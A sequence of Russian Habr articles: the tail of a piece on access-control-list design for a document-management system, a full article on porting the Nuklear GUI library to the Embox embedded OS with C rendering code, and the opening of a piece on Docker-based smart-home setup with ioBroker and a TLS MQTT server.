Придумал начальник новую идею оптимизации – и тоже в систему, обсудить с приближенными. Майские праздники скоро? Девочка секретарша выпускает приказ о нерабочих днях. И тоже через систему, чтобы все увидели.
#### Чуть более формально
Как видно выше, система наша работает с документами, часть из которых *поступает «снаружи»* организации, должна быть зарегистрирована в системе и рассмотрена нужными людьми, часть создаётся *в самой* организации и предназначена для внутреннего пользования, ещё часть создаётся также в самой организации, но предназначена для *отправки «наружу»* на каком-то этапе своей жизни.
#### Разграничение доступа к экземплярам
Если посмотреть на пример выше повнимательнее, то видно, что письмо девочки-секретарши про майские праздники, а также идея начальника про оптимизацию кого-нибудь – это всё «внутренние» документы, предназначенные только для сотрудников организации. Но что-то намекает, что эти два документа имеют несколько разный круг лиц, допущенных к их просмотру и изменению. Таким образом очень скоро мы приходим к выводу, что для вроде бы однотипных объектов предметной области требуется разграничивать доступ **к разным экземплярам по-разному**.
#### Access Control List
Итак, мы плавно приходим к такой структуре данных:
Вроде бы всё сразу стало хорошо – теперь для каждого объекта предметной области можно для отдельных пользователей системы назначить разные права. Но сразу встаёт проблема: девочка-секретарша вопит, что:
* ей для регистрации (создания) в системе нового документа (объекта) требуется в список доступа прописать кучу людей, особенно если документ предназначен для всех сотрудников
* она стала создавать документы в системе ещё и за начальника, потому что он заявил, что «система гавно и он в ней работать не будет»
#### Список доступа по умолчанию
Напрягаем мозжечок и придумываем такое решение:
Находим какой-нибудь классифицирующий признак для наших объектов, выделяем его в отдельную сущность, заводим на нём «Список доступа по умолчанию» и организовываем формирование списка доступа нашего объекта при его создании на основании списка доступа по умолчанию этого самого классифицирующего признака.
Девочка секретарша отстала, но вопит, зараза, админ, и жалуется он вот на что:
* После очередной идеи начальства по оптимизации кого-то в организации, админу требуется руками пройтись по всем созданным документам и удалить оттуда оптимизированного сотрудника руками
* Конечно же для этого админа пришлось добавить в список доступа по умолчанию для всех видов наших документов, что плохо – ведь оптимизировать могут и админа…
#### Группы пользователей
Решаем проблему следующим образом:
Даём возможность объединять пользователей системы в группы, которые также могут быть указаны как в списке доступа объектов, так и в списке доступа по умолчанию. Группы могут объединять как пользователей, так и другие группы.
Админ от нас отстал вслед за девочкой-секретаршей, т.к. в системе были заведены группы пользователей и в доступ по умолчанию стали добавляться преимущественно группы пользователей. Админ же просто удалял\добавлял пользователей из групп и больше не имел доступа ко всем документам системы.
Но резко завопили все остальные, т.к. система стала тормозить.
Дело в том, что в системе есть очень разумное требование, заключающееся в том, что если пользователь НЕ может читать документ по правам, то значит он **вообще не должен знать о его существовании**, а значит – результаты поисков объектов в системе должны фильтроваться на основании прав пользователя.
Конечно программисты нашей системы грамотные и сделали фильтрацию на уровне БД, но всё же для этого им пришлось использовать сложные рекурсивные запросы (мы помним, что пользователи у нас могут входить в группы, а группы – в другие группы).
#### TreeSupport
Что делать? Смутно вспоминаем чему нас учили в институте и реализовываем механизм развертывание иерархической структуры в плоскую. Этот механизм имеет своё название, к сожалению, я его так и не вспомнил. Назовём его TreeSupport:
Правила формирования таблицы TreeSupport такие:
* Для каждого Субъекта Безопасности в таблице создаётся запись, где Parent = Child = этому субъекту безопасности
* Для каждой Группы создаётся столько записей, сколько у неё вложенных пользователей или групп (рекурсивно до самого низа), в которых
Parent = группе, Child = вложенной группе или пользователю
Пример:
Иерархическая структура:
* Пользователь 1
* Группа 1
+ Пользователь 2
+ Группа 2
- Пользователь 3
TreeSupport
| | |
| --- | --- |
| **Parent** | **Child** |
| Пользователь 1 | Пользователь 1 |
| Группа 1 | Группа 1 |
| Группа 2 | Группа 2 |
| Пользователь 3 | Пользователь 3 |
| Группа 1 | Пользователь 2 |
| Группа 1 | Группа 2 |
| Группа 1 | Пользователь 3 |
| Группа 2 | Пользователь 3 |
Реализовали? Ура! Теперь фильтрация объектов при поиске происходит у нас быстро – за один джойн, примерно такой:
```
select Id from Object o
join ACL a on o.Id = a.ObjectId
join TreeSupport t on t.ParentId = a.SecuritySubjectId
where t.ChildId = <текущий пользователь> and a.CanRead = 1
```
Правда ценой того, что сложнее стало изменять нашу иерархическую структуру пользователей и групп – надо актуализировать TreeSupport. Хорошо хоть изменяется она редко.
Пока наша система проста и незатейлива – примерно с такой структурой секюрити на базе списка доступа можно жить. НО, жизнь, она сложнее и очень скоро можно столкнуться с рядом проблем, решение которых не так тривиально. Ниже я опишу эти самые проблемы, а свой вариант решения – *в следующей статье*. Также буду **просто счастлив** услышать Ваше мнение.
#### Проблема 1 — Зависимые списки доступа
В реальной жизни объекты предметной области, обладая каждый своим собственным списком доступа, часто используются вместе в рамках какого-то бизнес-процесса.
Приведу примеры: договор и акты по этому договору, входящий документ и тот документ, который был создан в ответ (исходящий). При работе с такими объектами бывает необходимо реализовать требование, заключающееся в том, что если пользователь имеет доступ к объекту А, то он должен также иметь доступ и к связанному с ним объекту Б. Причём положение усугубляется тем, что доступ пользователя к объекту Б часто будет по правам **не равен** доступу к объекту А.
#### Проблема 2 — Делегирование полномочий
Или другой сценарий – пользователь является начальником и у него есть заместители. Поэтому все объекты, к которым он имеет доступ, автоматически должны быть доступны его заместителям с теми же или с ограниченными правами.
#### Проблема 3 — Предоставление доступа к большому количеству объектов
Очень частая ситуация, когда пользователь работал-работал с системой пару лет, засветился в списке доступа, например, в 100к объектов, а затем… уволился.
На его место назначен другой человек и теперь он должен иметь доступ к тем же объектам, что и уволившийся. Чтобы обеспечить ему доступ к тем-же объектам – мы должны запустить продолжительный процесс, заключающийся в переборе всех объектов и в модификации их списка доступа (с учётом зависимых объектов, заместителей и т.д.).
Частенько этот процесс выполняется очень долго. А в некоторых сценариях – неприемлемо долго.
#### Ручное редактирование списка доступа
И напоследок, комментарий по поводу идеи, которая прямо напрашивается – а давайте чуть что заставлять пользователя самого редактировать список доступа. Так вот – это не работает.
Список доступа — эта та вещь, которая в 99% процентах времени работы с системой должна быть скрыта от пользователя. Поэтому все модификации списков доступа при реализации типичных сценариев работы с системой должны происходить автоматически. А архитектурные решения, стоящие за решением вышеозначенных проблем абсолютно точно не должны влиять на скорость фильтрации объектов при поисках и должны минимально влиять на скорость совершений операций над объектами и над списками объектов (в том числе, большими).
Как я писал выше — буду просто счастлив услышать ваши мысли по поводу решения этих проблем.
**UPD**: [Следующая статья](https://habrahabr.ru/post/278031/) | https://habr.com/ru/post/277111/ | null | ru | null |
# Как с помощью трех открытых проектов написать диплом
 Не секрет, что в у нас в проекте ~~используют~~ обучают студентов. Точнее, студенты на базе проекта осваивают практические аспекты системного программирования: пишут дипломы, курсовые, занимаются исследовательской деятельностью и так далее. Вот об одном дипломе, успешно защищённом прошлым летом, и пойдет речь в данной статье.
Автором является Александра Бутрова [AleksandraButrova](https://habrahabr.ru/users/aleksandrabutrova/), тема “Разработка графической подсистемы для встроенных операционных систем”. При написании диплома были использованы три открытых проекта: [Embox](https://github.com/embox/embox), [Nuklear](https://github.com/vurtun/nuklear) и [stb](https://github.com/nothings/stb). Последний использовался только для загрузки картинок, а вот Nuklear являлся, по сути, виновником торжества. Можно сказать, что работа свелась к интеграции Nuklear и Embox. Первый предоставлял лёгкую графическую библиотеку, а Embox отвечал за встроенные системы.
До данной работы графические приложения для Embox могли разрабатываться только на фреймворке Qt, который, безусловно, является замечательным, поскольку он:
* Кросс-платформенный
* Содержит в себе много всего полезного
* Открытый и хорошо отлаженный
Но в то же время Qt не всегда подходит для встроенных систем, поскольку:
* Очень большой
* Требовательный по ресурсам
* Написан на С++, а не C
Кроме того, есть нюансы с лицензией. Короче, мы в проекте давно задумывались над портированием чего-нибудь легковесного и пристально смотрели в сторону уже [упомянутого](https://habrahabr.ru/post/319106/) Храбровым Дмитрием [DeXPeriX](https://habrahabr.ru/users/dexperix/) проекта Nuklear. Нам понравилось использование чистого С и маленькое количество кода (по сути, один заголовочный файл). Плюс прекрасная лицензия:
**This software is dual-licensed to the public domain and under the following license: you are granted a perpetual, irrevocable license to copy, modify, publish and distribute this file as you see fit.**
В общем, Nuklear прекрасно подходит для интеграции с другими проектами.
Конечно, поскольку это диплом, задача была не просто использовать библиотеку, которая понравилась научнику. Было рассмотрено 6 библиотек и выявлено два подхода к построению графических примитивов: [retained](https://en.wikipedia.org/wiki/Retained_mode) и [immediate](https://en.wikipedia.org/wiki/Immediate_Mode_GUI). Кроме самих библиотек рассматривались и общие модели построения графических подсистем, начиная, конечно, с легендарной [X11](https://ru.wikipedia.org/wiki/X_Window_System). Но поскольку основной акцент в работе был сделан на ограниченность ресурсов, то лучшим был признан своеобразный аналог [directFB](https://ru.wikipedia.org/wiki/DirectFB), присутствующий в Embox.
Возвращаясь к Nuklear, который ~~по странному стечению обстоятельств всё-таки~~ был выбран в качестве графической библиотеки, нужно отметить, что он имеет несколько вариантов рендереринга (наборов функций для отрисовки примитивов) под разные платформы, приведены примеры использования для X11, sdl и OpenGL. Для того, чтобы запустить его на другой платформе, необходимо реализовать собственный рендеринг. Для Embox рендеринга, естественно, не было. Первой практической задачей стала модификация существующего примера из репозитория Nuklear, чтобы он хоть как-то собрался и запустился на Embox. Для этого был выбран наиболее простой пример — canvas, который, по сути, демонстрирует вывод графических примитивов.
Приведу для сравнения код функции main **из оригинального примера**
```
int main(int argc, char *argv[])
{
/* Platform */
static GLFWwindow *win;
int width = 0, height = 0;
/* GUI */
struct device device;
struct nk_font_atlas atlas;
struct nk_context ctx;
/* GLFW */
glfwSetErrorCallback(error_callback);
if (!glfwInit()) {
fprintf(stdout, "[GFLW] failed to init!\n");
exit(1);
}
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
win = glfwCreateWindow(WINDOW_WIDTH, WINDOW_HEIGHT, "Demo", NULL, NULL);
glfwMakeContextCurrent(win);
glfwSetWindowUserPointer(win, &ctx);
glfwSetCharCallback(win, text_input);
glfwSetScrollCallback(win, scroll_input);
glfwGetWindowSize(win, &width, &height);
/* OpenGL */
glViewport(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);
glewExperimental = 1;
if (glewInit() != GLEW_OK) {
fprintf(stderr, "Failed to setup GLEW\n");
exit(1);
}
/* GUI */
{device_init(&device);
{const void *image; int w, h;
struct nk_font *font;
nk_font_atlas_init_default(&atlas);
nk_font_atlas_begin(&atlas);
font = nk_font_atlas_add_default(&atlas, 13, 0);
image = nk_font_atlas_bake(&atlas, &w, &h, NK_FONT_ATLAS_RGBA32);
device_upload_atlas(&device, image, w, h);
nk_font_atlas_end(&atlas, nk_handle_id((int)device.font_tex), &device.null);
nk_init_default(&ctx, &font->handle);
glEnable(GL_TEXTURE_2D);
while (!glfwWindowShouldClose(win))
{
/* input */
pump_input(&ctx, win);
/* draw */
{struct nk_canvas canvas;
canvas_begin(&ctx, &canvas, 0, 0, 0, width, height, nk_rgb(250,250,250));
{
nk_fill_rect(canvas.painter, nk_rect(15,15,210,210), 5, nk_rgb(247, 230, 154));
nk_fill_rect(canvas.painter, nk_rect(20,20,200,200), 5, nk_rgb(188, 174, 118));
nk_draw_text(canvas.painter, nk_rect(30, 30, 150, 20), "Text to draw", 12, &font->handle, nk_rgb(188,174,118), nk_rgb(0,0,0));
nk_fill_rect(canvas.painter, nk_rect(250,20,100,100), 0, nk_rgb(0,0,255));
nk_fill_circle(canvas.painter, nk_rect(20,250,100,100), nk_rgb(255,0,0));
nk_fill_triangle(canvas.painter, 250, 250, 350, 250, 300, 350, nk_rgb(0,255,0));
nk_fill_arc(canvas.painter, 300, 180, 50, 0, 3.141592654f * 3.0f / 4.0f, nk_rgb(255,255,0));
{float points[12];
points[0] = 200; points[1] = 250;
points[2] = 250; points[3] = 350;
points[4] = 225; points[5] = 350;
points[6] = 200; points[7] = 300;
points[8] = 175; points[9] = 350;
points[10] = 150; points[11] = 350;
nk_fill_polygon(canvas.painter, points, 6, nk_rgb(0,0,0));}
nk_stroke_line(canvas.painter, 15, 10, 200, 10, 2.0f, nk_rgb(189,45,75));
nk_stroke_rect(canvas.painter, nk_rect(370, 20, 100, 100), 10, 3, nk_rgb(0,0,255));
nk_stroke_curve(canvas.painter, 380, 200, 405, 270, 455, 120, 480, 200, 2, nk_rgb(0,150,220));
nk_stroke_circle(canvas.painter, nk_rect(20, 370, 100, 100), 5, nk_rgb(0,255,120));
nk_stroke_triangle(canvas.painter, 370, 250, 470, 250, 420, 350, 6, nk_rgb(255,0,143));
}
canvas_end(&ctx, &canvas);}
/* Draw */
glfwGetWindowSize(win, &width, &height);
glViewport(0, 0, width, height);
glClear(GL_COLOR_BUFFER_BIT);
glClearColor(0.2f, 0.2f, 0.2f, 1.0f);
device_draw(&device, &ctx, width, height, NK_ANTI_ALIASING_ON);
glfwSwapBuffers(win);
}}}
nk_font_atlas_clear(&atlas);
nk_free(&ctx);
device_shutdown(&device);
glfwTerminate();
return 0;
}
```
**и модифицированного примера**
```
int main(int argc, char *argv[]) {
long int screensize = 0;
uint8_t *fbp = 0;
struct fb_info *fb_info;
struct nk_color rgb_white = { .a = 0xff, .r = 0xff, .g = 0xff, .b = 0xff};
fb_info = fb_lookup(0);
printf("%dx%d, %dbpp\n", fb_info->var.xres, fb_info->var.yres,
fb_info->var.bits_per_pixel);
/* Figure out the size of the screen in bytes */
screensize = fb_info->var.xres * fb_info->var.yres
* fb_info->var.bits_per_pixel / 8;
/* Map the device to memory */
fbp = (uint8_t *) mmap_device_memory((void *) fb_info->screen_base,
screensize, PROT_READ | PROT_WRITE, MAP_SHARED,
(uint64_t) ((uintptr_t) fb_info->screen_base));
if ((int) fbp == -1) {
perror("Error: failed to map framebuffer device to memory");
exit(4);
}
printf("The framebuffer device was mapped to memory successfully.\n");
struct fb_fillrect rect;
rect.dx = 0;
rect.dy = 0;
rect.width = fb_info->var.xres;
rect.height = fb_info->var.yres;
rect.rop = ROP_COPY;
rect.color = rgba_to_device_color(fb_info, &rgb_white);
fb_fillrect(fb_info, ▭);
/* GUI */
static struct nk_context ctx;
static struct nk_canvas canvas;
uint32_t width = 0, height = 0;
static struct nk_user_font font;
font.userdata.ptr = (void *) font_vga_8x8.data;
font.height = font_vga_8x8.height;
font.width = your_text_width_calculation;
nk_init_default(&ctx, &font);
width = fb_info->var.xres;
height = fb_info->var.yres;
/* Draw */
while (1) {
/* what to draw */
canvas_begin(&ctx, &canvas, 0, 0, 0, width, height,
nk_rgb(100, 100, 100));
{
canvas.painter->use_clipping = NK_CLIPPING_OFF;
nk_fill_rect(canvas.painter, nk_rect(15, 15, 140, 140), 5,
nk_rgb(247, 230, 154));
nk_fill_rect(canvas.painter, nk_rect(20, 20, 135, 135), 5,
nk_rgb(188, 174, 118));
nk_draw_text(canvas.painter, nk_rect(30, 30, 100, 20),
"Text to draw", 12, &font, nk_rgb(188, 174, 118),
nk_rgb(0, 0, 0));
nk_fill_rect(canvas.painter, nk_rect(160, 20, 70, 70), 0,
nk_rgb(0, 0, 255));
nk_fill_circle(canvas.painter, nk_rect(20, 160, 60, 60),
nk_rgb(255, 0, 0));
nk_fill_triangle(canvas.painter, 160, 160, 230, 160, 195, 220,
nk_rgb(0, 255, 0));
nk_fill_arc(canvas.painter, 195, 120, 30, 0,
3.141592654f * 3.0f / 4.0f, nk_rgb(255, 255, 0));
nk_stroke_line(canvas.painter, 15, 10, 100, 10, 2.0f,
nk_rgb(189, 45, 75));
nk_stroke_rect(canvas.painter, nk_rect(235, 20, 70, 70), 10, 3,
nk_rgb(0, 0, 255));
nk_stroke_curve(canvas.painter, 235, 130, 252, 170, 288, 80, 305,
130, 1, nk_rgb(0, 150, 220));
nk_stroke_triangle(canvas.painter, 235, 160, 305, 160, 270, 220, 10,
nk_rgb(255, 0, 143));
nk_stroke_circle(canvas.painter, nk_rect(90, 160, 60, 60), 2,
nk_rgb(0, 255, 120));
{
struct nk_image im;
int w, h, format;
struct nk_rect r;
im.handle.ptr = stbi_load("SPBGU_logo.png", &w, &h, &format, 0);
r = nk_rect(320, 10, w, h);
im.w = w;
im.h = h;
im.region[0] = (unsigned short) 0;
im.region[1] = (unsigned short) 0;
im.region[2] = (unsigned short) r.w;
im.region[3] = (unsigned short) r.h;
printf("load %p, %d, %d, %d\n", im.handle.ptr, w, h, format);
nk_draw_image(canvas.painter, r, &im, nk_rgb(100, 0, 0));
stbi_image_free(im.handle.ptr);
}
}
canvas_end(&ctx, &canvas);
/* Draw each element */
draw(fb_info, &ctx, width, height);
}
nk_free(&ctx);
printf("\nEnd of program.\nIf you see it then something goes wrong.\n");
return 0;
}
```
Код работы с библиотекой почти не претерпел изменений. Изменения касались загрузки своих шрифтов, различного функционала openGL и других специфичных платформенных частей.
Самая важная платформо-зависимая часть — это, конечно, отрисовка: функции device\_draw и draw соответственно. Собственно, это вызов того самого рендеринга. Так как Nuklear по типу отрисовки относиться к imediate, то присутствует цикл, в котором постоянно отрисовывается сцена путем вызова этой функции. Сам код отрисовки следующий:
**для openGL**
```
static void device_draw(struct device *dev, struct nk_context *ctx, int width, int height,
enum nk_anti_aliasing AA)
{
GLfloat ortho[4][4] = {
{2.0f, 0.0f, 0.0f, 0.0f},
{0.0f,-2.0f, 0.0f, 0.0f},
{0.0f, 0.0f,-1.0f, 0.0f},
{-1.0f,1.0f, 0.0f, 1.0f},
};
ortho[0][0] /= (GLfloat)width;
ortho[1][1] /= (GLfloat)height;
/* setup global state */
glEnable(GL_BLEND);
glBlendEquation(GL_FUNC_ADD);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
glDisable(GL_CULL_FACE);
glDisable(GL_DEPTH_TEST);
glEnable(GL_SCISSOR_TEST);
glActiveTexture(GL_TEXTURE0);
/* setup program */
glUseProgram(dev->prog);
glUniform1i(dev->uniform_tex, 0);
glUniformMatrix4fv(dev->uniform_proj, 1, GL_FALSE, &ortho[0][0]);
{
/* convert from command queue into draw list and draw to screen */
const struct nk_draw_command *cmd;
void *vertices, *elements;
const nk_draw_index *offset = NULL;
/* allocate vertex and element buffer */
glBindVertexArray(dev->vao);
glBindBuffer(GL_ARRAY_BUFFER, dev->vbo);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, dev->ebo);
glBufferData(GL_ARRAY_BUFFER, MAX_VERTEX_MEMORY, NULL, GL_STREAM_DRAW);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, MAX_ELEMENT_MEMORY, NULL, GL_STREAM_DRAW);
/* load draw vertices & elements directly into vertex + element buffer */
vertices = glMapBuffer(GL_ARRAY_BUFFER, GL_WRITE_ONLY);
elements = glMapBuffer(GL_ELEMENT_ARRAY_BUFFER, GL_WRITE_ONLY);
{
/* fill convert configuration */
struct nk_convert_config config;
static const struct nk_draw_vertex_layout_element vertex_layout[] = {
{NK_VERTEX_POSITION, NK_FORMAT_FLOAT, NK_OFFSETOF(struct nk_glfw_vertex, position)},
{NK_VERTEX_TEXCOORD, NK_FORMAT_FLOAT, NK_OFFSETOF(struct nk_glfw_vertex, uv)},
{NK_VERTEX_COLOR, NK_FORMAT_R8G8B8A8, NK_OFFSETOF(struct nk_glfw_vertex, col)},
{NK_VERTEX_LAYOUT_END}
};
NK_MEMSET(&config, 0, sizeof(config));
config.vertex_layout = vertex_layout;
config.vertex_size = sizeof(struct nk_glfw_vertex);
config.vertex_alignment = NK_ALIGNOF(struct nk_glfw_vertex);
config.null = dev->null;
config.circle_segment_count = 22;
config.curve_segment_count = 22;
config.arc_segment_count = 22;
config.global_alpha = 1.0f;
config.shape_AA = AA;
config.line_AA = AA;
/* setup buffers to load vertices and elements */
{struct nk_buffer vbuf, ebuf;
nk_buffer_init_fixed(&vbuf, vertices, MAX_VERTEX_MEMORY);
nk_buffer_init_fixed(&ebuf, elements, MAX_ELEMENT_MEMORY);
nk_convert(ctx, &dev->cmds, &vbuf, &ebuf, &config);}
}
glUnmapBuffer(GL_ARRAY_BUFFER);
glUnmapBuffer(GL_ELEMENT_ARRAY_BUFFER);
/* iterate over and execute each draw command */
nk_draw_foreach(cmd, ctx, &dev->cmds)
{
if (!cmd->elem_count) continue;
glBindTexture(GL_TEXTURE_2D, (GLuint)cmd->texture.id);
glScissor(
(GLint)(cmd->clip_rect.x),
(GLint)((height - (GLint)(cmd->clip_rect.y + cmd->clip_rect.h))),
(GLint)(cmd->clip_rect.w),
(GLint)(cmd->clip_rect.h));
glDrawElements(GL_TRIANGLES, (GLsizei)cmd->elem_count, GL_UNSIGNED_SHORT, offset);
offset += cmd->elem_count;
}
nk_clear(ctx);
}
/* default OpenGL state */
glUseProgram(0);
glBindBuffer(GL_ARRAY_BUFFER, 0);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);
glBindVertexArray(0);
glDisable(GL_BLEND);
glDisable(GL_SCISSOR_TEST);
}
```
Как видно, здесь присутствует еще один цикл
```
/* iterate over and execute each draw command */
nk_draw_foreach(cmd, ctx, &dev->cmds)
```
Как нетрудно догадаться, этот цикл проходит по всем командам для отрисовки сцены, и рисует их средствами платформы.
**Поэтому аналогичный код функции draw для Embox тоже содержит этот цикл**
```
static inline void draw(struct fb_info *fb, struct nk_context *ctx, int width, int height) {
assert(fb);
assert(ctx);
const struct nk_command *cmd;
/* iterate over and execute each draw command */
nk_foreach(cmd, ctx)
{
switch (cmd->type) {
case NK_COMMAND_NOP:
break;
case NK_COMMAND_LINE: {
const struct nk_command_line *c =
(const struct nk_command_line*) cmd;
embox_stroke_line( fb, c->begin.x, c->begin.y, c->end.x, c->end.y,
&c->color, c->line_thickness);
}
break;
case NK_COMMAND_CURVE: {
const struct nk_command_curve *c =
(const struct nk_command_curve*) cmd;
int x[4];
int y[4];
x[0] = c->begin.x;
x[1] = c->ctrl[0].x;
x[2] = c->ctrl[1].x;
x[3] = c->end.x;
y[0] = c->begin.y;
y[1] = c->ctrl[0].y;
y[2] = c->ctrl[1].y;
y[3] = c->end.y;
embox_stroke_curve( fb, x, y, &c->color, c->line_thickness);
}
break;
case NK_COMMAND_RECT: {
const struct nk_command_rect *c =
(const struct nk_command_rect*) cmd;
embox_stroke_rect( fb, c->x, c->y, c->w, c->h, &c->color,
(float) c->rounding, c->line_thickness);
}
break;
case NK_COMMAND_RECT_FILLED: {
const struct nk_command_rect_filled *c =
(const struct nk_command_rect_filled*) cmd;
embox_fill_rect( fb, c->x, c->y, c->w, c->h, &c->color);
}
break;
case NK_COMMAND_CIRCLE: {
const struct nk_command_circle *c =
(const struct nk_command_circle*) cmd;
embox_stroke_circle( fb, (float) c->x + (float) c->w / 2,
(float) c->y + (float) c->h / 2, (float) c->w / 2,
&c->color, c->line_thickness);
}
break;
case NK_COMMAND_CIRCLE_FILLED: {
const struct nk_command_circle_filled *c =
(const struct nk_command_circle_filled *) cmd;
embox_fill_circle( fb, c->x + c->w / 2, c->y + c->h / 2, c->w / 2,
&c->color);
}
break;
case NK_COMMAND_ARC: {
const struct nk_command_arc *c = (const struct nk_command_arc*) cmd;
embox_stroke_arc( fb, c->cx, c->cy, c->r, c->a[0], c->a[1], &c->color,
c->line_thickness);
}
break;
case NK_COMMAND_ARC_FILLED: {
const struct nk_command_arc_filled *c =
(const struct nk_command_arc_filled*) cmd;
embox_fill_arc( fb, c->cx, c->cy, c->r, c->a[0], c->a[1], &c->color);
}
break;
case NK_COMMAND_TRIANGLE: {
const struct nk_command_triangle *c =
(const struct nk_command_triangle*) cmd;
embox_stroke_triangle( fb, c->a.x, c->a.y, c->b.x, c->b.y, c->c.x,
c->c.y, &c->color, c->line_thickness);
}
break;
case NK_COMMAND_TRIANGLE_FILLED: {
const struct nk_command_triangle_filled *c =
(const struct nk_command_triangle_filled*) cmd;
embox_fill_triangle( fb, c->a.x, c->a.y, c->b.x, c->b.y, c->c.x,
c->c.y, &c->color);
}
break;
case NK_COMMAND_TEXT: {
const struct nk_command_text *c =
(const struct nk_command_text*) cmd;
embox_add_text( fb, ctx, c->x, c->y, &c->foreground, &c->background, c->string,
c->length);
}
break;
case NK_COMMAND_IMAGE: {
const struct nk_command_image *c =
(const struct nk_command_image*) cmd;
int color = rgba_to_device_color( fb, &c->col);
embox_add_image( fb, c->img, c->x, c->y, c->w, c->h, color);
}
break;
/* unrealized primitives */
/*
case NK_COMMAND_SCISSOR: {
const struct nk_command_scissor *s = (const struct nk_command_scissor*)cmd;
nk_draw_list_add_clip(&ctx->draw_list, nk_rect(s->x, s->y, s->w, s->h));
} break;
case NK_COMMAND_POLYGON: {
int i;
const struct nk_command_polygon*p = (const struct nk_command_polygon*)cmd;
for (i = 0; i < p->point_count; ++i) {
struct nk_vec2 pnt = nk_vec2((float)p->points[i].x, (float)p->points[i].y);
nk_draw_list_path_line_to(&ctx->draw_list, pnt);
}
nk_draw_list_path_stroke(&ctx->draw_list, p->color, NK_STROKE_CLOSED, p->line_thickness);
} break;
case NK_COMMAND_POLYGON_FILLED: {
int i;
const struct nk_command_polygon_filled *p = (const struct nk_command_polygon_filled*)cmd;
for (i = 0; i < p->point_count; ++i) {
struct nk_vec2 pnt = nk_vec2((float)p->points[i].x, (float)p->points[i].y);
nk_draw_list_path_line_to(&ctx->draw_list, pnt);
}
nk_draw_list_path_fill(&ctx->draw_list, p->color);
} break;
case NK_COMMAND_POLYLINE: {
int i;
const struct nk_command_polyline *p = (const struct nk_command_polyline*)cmd;
for (i = 0; i < p->point_count; ++i) {
struct nk_vec2 pnt = nk_vec2((float)p->points[i].x, (float)p->points[i].y);
nk_draw_list_path_line_to(&ctx->draw_list, pnt);
}
nk_draw_list_path_stroke(&ctx->draw_list, p->color, NK_STROKE_OPEN, p->line_thickness);
} break;
case NK_COMMAND_RECT_MULTI_COLOR: {
const struct nk_command_rect_multi_color *r = (const struct nk_command_rect_multi_color*)cmd;
nk_draw_list_fill_rect_multi_color(&ctx->draw_list, nk_rect(r->x, r->y, r->w, r->h),
r->left, r->top, r->right, r->bottom);
} break; */
default:
break;
}
}
nk_clear(ctx);
}
```
Тело цикла выглядит сильно по-другому, поскольку необходимо реализовать собственные примитивы, которые уже реализованы в OpenGL.
После реализации этих примитивов сцена стала отрисовываться корректно
Герб СПбГУ, конечно, добавлен для диплома и не присутствует в оригинальном примере от nuklear :)
Конечно, не всё было так просто. Первой проблемой, которая мешала скомпилировать заголовочный файл в его оригинальном виде, стало то, что nuklear ориентирован на стандарт c89, где нет ключевого слова inline, но нет и предупреждений (warnings) на статические функции которые не используются. У нас по умолчанию используется c99, точнее gnu-расширение, и нам пришлось сделать [PR](https://github.com/vurtun/nuklear/pull/344) в оригинальный nuklear для поддержки c99.
Ещё одной проблемой, напрямую не связанной с дипломом, было то, что [формат пикселей](https://ru.wikipedia.org/wiki/RGB) бывает различный, и формат изображения в памяти может не совпадать с аппаратным форматом. До этого мы использовали простое преобразование из обычного RGB с 8 битами на каждый канал в тот или иной аппаратный формат в драйвере конкретного графического устройства, пришлось добавить прослойку для полноценного преобразования для разных форматов.
Всего было опробовано 3 платформы:
* QEMU/x86 (графика boch)
* QEMU/ARM (графика pl110)
* STM32F7Discovery (встроенная графика)
С последней платформой возникло максимальное количество неприятностей: и проблема с выравниванием структур, и нехватка памяти для загрузки картинки, и книжная ориентация экрана (т.е. ширина изображения меньше высоты). Но в результате со всеми этими задачами Саша справилась, и захотелось запустить уже “настоящий” пример. Им стал тоже стандартный пример из nuklear skinning.
Внешний вид при запуске на QEMU/ARM
Ну и фотографии с платой STM32F7Discovery
canvas
skinning
Я не хочу пересказывать диплом, полный текст можно скачать [тут](http://se.math.spbu.ru/SE/diploma/2017/bmo/444-Butrova-report.pdf). В завершение хочу отметить, что автор при написании диплома поучаствовала в нескольких живых проектах, получила практический опыт в реальной работе с распределёнными современными проектами. И не так важно, что авторов одного из этих проектов она знает лично, так всё-таки проще входить в проект. Ведь, как я уже сказал, данный проект не единственный, который использовался при написаний диплома. И на мой взгляд, дипломных работ на основе открытых действующих проектов должно быть как можно больше. Ведь это самый эффективный способ стать полноценным специалистом. | https://habr.com/ru/post/347282/ | null | ru | null |
# Безопасный доступ к умному дому при отсутствии публичного IP (часть 2)
Вступление
----------
[В первой части](https://habr.com/ru/post/504716/) я писал о постановке задачи и как трансформировались хотелки. В итоге я решил использовать OpenVPN, но, всвязи с тем, что решил все запускать в Docker контейнерах, это получилось не так-то просто.
Сразу скажу, что потом я опять все переделал, в итоге отказался от внешнего VPS. Однако, поскольку все в контейнерах, в процессе столкнулся с рядом интересных особенностях, о коих и пойдет речь.
Установка
---------
Опишу только ключевые моменты.
### ioBroker
```
docker run -d --name iobhost --net=host -v /opt/iobroker/:/opt/iobroker/ --device=/dev/ttyACM0 --env-file /opt/ioBroker_env.list --restart=always buanet/iobroker:latest
```
Поскольку у меня есть MiHome Gateway, к нему подключены датчики, даже настроено несколько сценариев, которые я не хочу пока ломать, я подключил к нему ioBroker. Он увидел датчики, не пришлось их перепривязывать к Zigbee stick (хотя тоже есть, и кое-какие кнопки подключены к нему).
Вот для того, чтобы ioBroker связался с MiHome Gateway, и пршлось запускать его с параметром --net=host. Т.е. он использует интерфейс хоста, указывать, какие порты пробрасывать в контейнер не нужно. Без этого он шлюза не видел, ибо тот работает через мультикасты.
Параметр --device=/dev/ttyACM0 нужен для проброса Zigbee USB stick в контейнер. Также в /opt/ioBroker\_env.list пришлось добавить строчку USBDEVICES="/dev/ttyACM0". Важно, что эта строчка должна присутствовать в момент первого запуска контейнера, когда он видит пустую директорию и начинает свою первичную настройку.
Можно и потом настроить, конечно, но прридется делать дополнительные телодвижения.
### MQTT сервер
На внешнем VPS запустил eclipse mosquito. Сначала настроил ему TLS, выписав сертификат Let’s encrypt. Потом решил, что клиенты должны обязательно предъявить сертификат, и только потом уже имя и пароль (защита от bruteforce). Так что переделал на самоподписанный, чтобы клиентам выписывать сертификаты.
